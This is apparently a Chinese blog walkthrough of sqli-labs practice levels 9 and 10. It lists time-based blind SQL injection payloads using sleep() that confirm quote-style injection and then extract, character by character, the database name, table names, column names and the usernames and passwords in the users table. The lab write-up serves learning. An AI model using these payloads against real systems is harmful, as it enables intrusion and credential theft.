SQL注入sqli_labs靶场第九、十题

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

相关推荐
lkbhua莱克瓦242 小时前
进阶-存储过程3-存储函数
java·数据库·sql·mysql·数据库优化·视图
heartbeat..4 小时前
零基础学 SQL:DQL/DML/DDL/DCL 核心知识点汇总(附带连接云服务器数据库教程)
java·服务器·数据库·sql
23zhgjx-zgx6 小时前
SQL注入攻击分析报告
网络·sql·ctf
heartbeat..6 小时前
SQL 常用函数大全:聚合、字符串、数值、日期、窗口函数解析
java·数据库·sql·函数
能年玲奈喝榴莲牛奶7 小时前
安全服务-应急响应
web安全·网络安全·应急响应·安全服务
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ8 小时前
sql 如果字段为空就用另一个字段
数据库·sql
小快说网安9 小时前
硬核解析:高防 IP 是如何拦截 DDoS 攻击的?从清洗中心到流量调度
网络·tcp/ip·网络安全·ddos
浊酒南街10 小时前
SUBSTRING_INDEX 函数介绍
sql·spark
中环留念11 小时前
MySQL 索引全解析:索引类型、聚簇索引、回表与性能优化
sql·mysql·索引·图解
Gobysec11 小时前
Goby 漏洞安全通告|MindsDB /api/sql/query 未授权访问漏洞(CVE-2025-68472)
数据库·sql·安全